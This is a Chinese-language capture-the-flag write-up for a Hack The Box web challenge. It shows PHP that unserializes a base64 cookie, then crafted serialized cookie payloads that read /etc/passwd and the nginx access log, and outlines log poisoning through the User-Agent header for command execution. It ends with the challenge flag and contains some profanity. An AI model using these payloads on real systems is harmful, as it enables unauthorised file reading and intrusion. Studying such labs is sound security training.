# 信息收集

查看源代码发现 cookiepage 通过序列化后 base64 加密生成生成的

<?php
spl_autoload_register(function ($name){
    if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});
if (empty($_COOKIE['PHPSESSID']))
{
    $page = new PageModel;
    $page->file = '/www/index.html';
    setcookie(
        'PHPSESSID', 
        base64_encode(serialize($page)), 
        time()+60*60*24, 
        '/'
    );
} 
$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);

那么我们可以通过反序列化后 base64 加密尝试读取敏感信息

# 构造攻击

先抓包看看 cookie

GET / HTTP/1.1
Host: 157.245.33.77:32689
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

把 cookie 解码

#base64:
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9
#解码后:O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}

构造一下敏感目录

构造:O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd";}
base64加密:
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30=

得到回显的用户目录,说明有一个任意文件读取的漏洞,但目前我们不知道 flag 在哪里,需要再找组合漏洞

检查 /etc/passwd 发现有 nginx 用户

那么我们可以尝试访问 nginx 的日志文件

构造:
O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}
base64编码:
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ==

发现是能访问到的,而且还记录了 user-agent , 那么我们直接修改 User-Agent ,进行命令执行

但是他妈的不知道为什么 nginx 记录不到数据了狗日的

这个 nginx 记录的问题之前遇到过很多次,可能是通病吧 ==、

flag: HTB{P0i5on_1n_Cyb3r_W4rF4R3?!}